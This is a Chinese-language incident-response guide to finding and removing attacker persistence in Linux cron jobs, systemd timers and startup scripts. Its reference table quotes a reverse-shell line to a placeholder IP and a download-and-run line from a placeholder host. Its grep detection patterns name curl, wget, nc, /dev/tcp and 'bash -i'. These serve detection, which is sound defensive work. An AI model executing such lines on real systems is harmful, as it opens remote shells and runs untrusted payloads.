计划任务(cron)是 Linux 上最"不起眼却最危险"的地方之一。对运维它是自动化利器,对入侵者它同样是——攻击者在拿下机器后,最喜欢做的第一件事就是往 cron、systemd timer、/etc/rc.local 里塞一个持久化后门,让恶意脚本每隔几分钟就重新拉起一次。你就算把恶意进程 kill 掉,过几分钟它又活了,很多人就是这么被"反复发作的挖矿"折磨到崩溃的。
所以定时任务审计是应急响应里必做的一步。这篇文章讲的是:如何系统地枚举一台机器上所有计划任务(包括用户级、系统级、以及容易被忽略的 systemd timer 和开机脚本),如何用命令和特征判断哪些是异常的,发现异常脚本后怎么安全处置与溯源,以及平时怎么布防让攻击者没这么容易塞后门。文中命令均以 root 或 sudo 执行。
一、先搞清楚计划任务藏在哪里
排查的第一步是知道"战场"有多大。Linux 上的定时任务不止 crontab 一处,至少有下面这些位置,攻击者可能藏身于任何一处:
- 用户级 crontab:
/var/spool/cron/用户名(RHEL系)或/var/spool/cron/crontabs/用户名(Debian系) - 系统级 crontab:
/etc/crontab - 系统级目录:
/etc/cron.d/、/etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/ - systemd 定时器:
/etc/systemd/system/*.timer及/usr/lib/systemd/system/*.timer - 开机启动脚本:
/etc/rc.local、/etc/rc.d/、init 脚本 - 用户 shell 启动文件:
~/.bashrc、~/.bash_profile、~/.profile(不是定时任务,但常被植入) - at 一次性任务:
/var/spool/at/或/var/spool/cron/atjobs/
很多人排查时只看 crontab -l(当前用户的),这是远远不够的——root 的 crontab 和系统目录才是重点。
二、枚举:把全部计划任务列出来
下面是一套完整的枚举命令,建议逐条执行并保存输出。
# 1. 当前用户 crontab
crontab -l
# 2. 所有用户的 crontab(逐个查看 spool 目录)
ls -la /var/spool/cron/ # RHEL/CentOS/Rocky 系
ls -la /var/spool/cron/crontabs/ # Debian/Ubuntu 系
for u in $(cut -d: -f1 /etc/passwd); do
crontab -l -u "$u" 2>/dev/null | sed "s/^/[$u] /"
done
# 3. 系统级 crontab 与 cron.d
cat /etc/crontab
ls -la /etc/cron.d/
cat /etc/cron.d/*
# 4. 各周期目录(这些目录里的脚本会被定时执行)
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
systemd timer 是现在越来越主流的藏身点,因为它比 cron 更"隐蔽",很多人根本没意识到它也是定时任务:
# 列出所有已加载的 timer
systemctl list-timers --all
# 列出所有 timer 单元文件
systemctl list-unit-files --type=timer
# 查看某个 timer 的详情和它关联的 service
systemctl cat xxx.timer
systemctl cat xxx.service
# 直接搜文件系统里的 timer 文件
find /etc/systemd/system /usr/lib/systemd/system -name "*.timer" -o -name "*.service" 2>/dev/null | head
开机脚本和用户启动文件也要扫:
cat /etc/rc.local 2>/dev/null
ls -la /etc/rc.d/rc.local 2>/dev/null
# 用户的 shell 启动文件里常有后门
for u in $(awk -F: '$3>=1000 && $3<65534 {print $1}' /etc/passwd); do
home=$(getent passwd "$u" | cut -d: -f6)
echo "=== $u ($home) ==="
grep -HE "curl|wget|base64|nc |ncat|/dev/tcp|python -c|bash -i" \
"$home/.bashrc" "$home/.bash_profile" "$home/.profile" 2>/dev/null
done
三、识别:什么样的计划任务是可疑的
列出来之后,核心是判断。下面这些特征高度可疑,命中任何一条都要深挖:
执行内容指向临时目录或网络。正常的 cron 通常调用系统路径下的脚本,比如 /usr/local/bin/backup.sh。如果看到任务里出现 curl、wget 从陌生域名拉脚本、bash -i 反弹 shell、/dev/tcp/ 反向连接,基本可以判定是恶意的。挖矿脚本常用 wget xxx | sh 这种形式。
路径奇怪或可执行文件在 /tmp。/tmp、/var/tmp、/dev/shm 这些目录是攻击者的乐园,因为任何用户都能写。计划任务里引用这些路径下的可执行文件,几乎可以肯定是后门。
执行频率异常。*/1 * * * * 每分钟跑一次、*/5 每五分钟一次,是恶意持久化脚本的典型心跳。正常的业务定时任务很少密集到每分钟。
编码/混淆。任务里出现大段 base64 字符串、echo xxx | base64 -d | bash、eval、十六进制编码,说明攻击者在隐藏真实载荷。
任务名义正常但文件内容可疑。很多后门会把恶意代码塞进一个名字很"正常"的脚本里(如 update.sh、systemd-tmp.sh),所以要打开脚本看内容,不能只看任务名。
一个实用的自动化筛查命令,把所有可疑特征一次扫出来:
# 扫描所有 cron 相关文件里的高危特征(经验做法,覆盖常见 IOC)
grep -rEn "curl|wget|base64|/dev/tcp|nc |ncat|bash -i|/tmp/|/dev/shm|python -c|perl -e|chmod \+x" \
/etc/crontab /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ \
/var/spool/cron/ /var/spool/cron/crontabs/ 2>/dev/null
# 找出最近被修改过的 cron 文件(攻击者一般刚改不久)
find /etc/cron* /var/spool/cron* -type f -mtime -7 -ls 2>/dev/null
# 检查 /tmp、/dev/shm 下的可疑可执行文件
find /tmp /var/tmp /dev/shm -type f \( -perm -u+x -o -name "*.sh" \) -ls 2>/dev/null
下面这张表把常见后门特征和判断依据整理出来,方便对照:
| 特征 | 典型样子 | 判断 |
|---|---|---|
| 网络下载执行 | wget http://x/y.sh \| sh |
恶意,几乎可确定 |
| 反弹 shell | bash -i >& /dev/tcp/1.2.3.4/4444 0>&1 |
恶意 |
| 临时目录载荷 | /tmp/.x/kworker |
高度可疑 |
| 高频心跳 | */1 * * * * |
可疑,需看内容 |
| 编码混淆 | echo xxx\|base64 -d\|bash |
恶意 |
| 伪装系统名 | 进程名 [kworker] 但路径在 /tmp |
恶意 |
| 正常业务 | /usr/local/bin/backup.sh |
需读脚本确认 |
四、处置:安全清除与验证
发现异常任务后,不要一上来就删。正确顺序是先取证、再清除,否则删完就查不出攻击者是谁、从哪进来的了。
第一步,保留证据。在改动之前,把可疑文件的内容、时间戳、inode、进程信息都备份下来:
# 备份可疑文件(含时间戳属性)
mkdir -p /root/incident/$(date +%F)
cp -a /etc/cron.d/suspicious /root/incident/$(date +%F)/
# 记录文件属性
stat /etc/cron.d/suspicious > /root/incident/$(date +%F)/stat.txt
ls -la --time-style=full-iso /etc/cron.d/suspicious >> /root/incident/$(date +%F)/stat.txt
# 如果有相关进程在跑,记录进程树和网络连接
ps auxf > /root/incident/$(date +%F)/ps.txt
ss -tunap > /root/incident/$(date +%F)/ss.txt
第二步,停止恶意进程并清除任务。进程和 cron 要同时处理,只删 cron 不 kill 进程,进程可能自己把 cron 写回去;只 kill 进程不删 cron,几分钟后它又复活。
# 找到恶意进程并 kill(-9 强制),注意别误杀正常进程
ps aux | grep -v grep | grep "/tmp/"
kill -9
# 禁用并删除可疑 cron 文件(删除前已备份)
# 如果是 systemctl timer:
systemctl disable --now suspicious.timer
systemctl disable --now suspicious.service
rm -f /etc/systemd/system/suspicious.timer /etc/systemd/system/suspicious.service
systemctl daemon-reload
# 如果是 cron 文件:重命名而非直接删,便于回滚和取证
mv /etc/cron.d/suspicious /root/incident/$(date +%F)/suspicious.disabled
删除 systemd unit 文件是不可逆的,所以前面必须先备份内容。删完 systemctl daemon-reload 让 systemd 重新加载。cron 文件的改动通常无需重载,但保险起见可以重启 cron 服务。
systemctl restart crond # RHEL/CentOS/Rocky 系
systemctl restart cron # Debian/Ubuntu 系
第三步,验证清除是否彻底。这一步很关键,因为攻击者往往埋了多个持久化点。
# 重新枚举一遍所有计划任务,确认没有残留
cat /etc/crontab; ls /etc/cron.d/
systemctl list-timers --all
# 观察一段时间(比如 10~30 分钟),看恶意进程是否复活
watch -n 5 'ps aux --sort=-%cpu | head -15'
# 检查是否有新的网络连接或异常外联
ss -tunap
如果进程反复复活,说明还有没找到的持久化点。常见的第二、第三藏身点包括:~/.bashrc、/etc/profile.d/、systemd 的 ~/.config/systemd/user/(用户级服务)、SSH 的 authorized_keys(可能同时是被入侵入口)、以及内核模块或动态链接库劫持(rootkit)。这时候排查范围要扩大,必要时考虑重装系统而不是"打扫卫生"——被 rootkit 感染的机器很难彻底清理干净。
五、布防:让后门更难植入
审计是"事后",布防是"事前"。几条有效的做法:
把 cron 目录纳入文件完整性监控。用 AIDE、Tripwire 或 OSSEC 这类工具对 /etc/cron*、/var/spool/cron*、/etc/systemd/system 做基线,文件一变更就告警。
# AIDE 示例(RHEL 系装 aide,Debian 系 apt install aide)
# 初始化基线数据库
aide --init
mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
# 之后定期执行校验
aide --check
定期巡检 + 集中化 cron 管理。不要让开发人员随意在服务器上写 crontab,把定时任务统一到配置管理(如 Ansible)下发,这样任何"计划外"的 cron 都会被发现。
最小权限与审计。给普通用户账号收紧 cron 使用权限,通过 /etc/cron.allow 和 /etc/cron.deny 控制谁能用 cron:
# 只允许 root 和 ops 使用 crontab(allow 文件存在时 deny 文件被忽略)
echo "root" > /etc/cron.allow
echo "ops" >> /etc/cron.allow
# 注意:配置后普通用户将无法创建 crontab,需确认业务不受影响
加固入口。绝大多数后门是攻击者通过弱口令 SSH、Web 漏洞等手段进来后才植入的。把入口守住——关闭密码登录、及时打补丁、Web 目录不给写权限——比事后排查 cron 更省心。
常见问题
Q:crontab -l 什么都没看到,是不是就安全了?
不是。crontab -l 只看当前用户的用户级 crontab。系统级的 /etc/cron.d/、/etc/crontab、以及 systemd timer 都不在其中。必须按第二节的完整清单逐项检查。
Q:看到 root 的 crontab 里有一条可疑任务,直接删就行吗?
先别删。删之前保存内容、记录时间戳,并查一下它调用的脚本内容(可能还有别的落地文件)。删完后要持续观察进程是否复活,确认没有其他持久化点。
Q:为什么我 kill 掉挖矿进程,它几分钟后又回来了?
这就是典型的 cron/systemd 持久化。攻击者用定时任务做"守护",你要同时删掉定时任务和进程。如果删了还复活,说明存在你还没发现的第二持久化点,继续查 ~/.bashrc、/etc/profile.d/、用户级 systemd 服务等。
Q:怎么判断一个定时任务是业务正常的还是恶意的?
看三点:执行什么(命令内容是否指向网络/临时目录/编码载荷)、什么时候执行(频率是否异常)、谁创建的(文件属主和时间戳是否符合预期)。拿不准时,直接打开被调用的脚本读一遍,恶意载荷通常一眼能看出来。
Q:审计发现异常后,还能继续用这台机器吗?
取决于感染程度。如果只是清掉一个 cron 后门、且能确认没有 rootkit 和未知账号,观察一段时间无异常可以继续用。如果发现 rootkit、内核模块劫持或大面积文件被篡改,最稳妥的做法是备份数据后重装,不要指望在已被深度入侵的系统上"清理干净"。
总结
- 计划任务藏在多个位置,排查必须覆盖用户 crontab、
/etc/cron.d/、/etc/crontab、周期目录、systemd timer 和开机/启动脚本,只看crontab -l会漏掉大部分。 - 识别后门看特征:网络下载执行、反弹 shell、临时目录载荷、高频心跳、编码混淆、伪装系统进程名——命中就要深挖。
- 处置顺序是"先取证、再清除、后验证":备份内容和时间戳,同时删除定时任务与 kill 进程,然后重新枚举并持续观察是否复活。
- 进程反复复活说明还有未发现的持久化点,要扩大排查范围(
~/.bashrc、/etc/profile.d/、用户 systemd 服务、authorized_keys);怀疑有 rootkit 时优先备份数据重装。 - 布防比排查更重要:用 AIDE/Tripwire 监控 cron 与 systemd 目录、用 Ansible 集中下发定时任务、用 cron.allow 收敛权限、从源头堵住入侵入口。
- 所有删除操作前都要先备份,
rm/systemctl disable尤其是对 systemd unit 的删除属于不可逆操作,务必留档可回滚。
企业QQ咨询




